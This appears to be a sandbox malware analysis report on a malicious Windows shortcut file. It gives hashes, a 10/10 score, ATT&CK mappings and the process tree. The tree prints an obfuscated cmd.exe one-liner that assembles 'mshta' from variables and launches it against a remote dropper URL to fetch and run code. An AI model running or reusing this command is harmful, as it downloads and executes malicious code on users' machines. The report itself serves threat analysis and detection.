e2cb0ab592d0b49f13b1f682586ba4ef0aa6bfc41f3c7f1a2154ebf1151c9f53

Analysis

max time kernel
60s
max time network
25s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
21/08/2026, 11:29

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General

Target
DOC-CFQWRV.lnk
Size 1KB
Sample260821-nltpystsdx
SHA256 e2cb0ab592d0b49f13b1f682586ba4ef0aa6bfc41f3c7f1a2154ebf1151c9f53
MD5 fe712b328327dbb5d4ac8dee6840e9ba
SHA1 057747f29ece73f97eb393907ab9fad9148c7aac
SHA512 9649eff587159cd47357228fcc81a194477e307c82a9b1283573b8324664f1aa77d05fe1408ff358e66d0411d902a0aa510db3a2bf6be119036828dd79c443bb
TLSH
T1363164002EFD0628F3B38E7298BF572089BAB8968D20CA1D4140858C1432A05E6BAF77
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://documntacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
616	cmd.exe
2852	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 616 wrote to memory of 2852	616	cmd.exe	90
PID 2852 wrote to memory of 5512	2852	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-CFQWRV.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:616
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set bSlv=msh&&set LZUUV=ta&&start "" !bSlv!!LZUUV! https://documntacion.lat/h/estagio1.php?r=3F1477F15398D1"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2852
- - C:\Windows\System32\mshta.exe
    mshta https://documntacion.lat/h/estagio1.php?r=3F1477F15398D1
    3⤵
    PID:5512

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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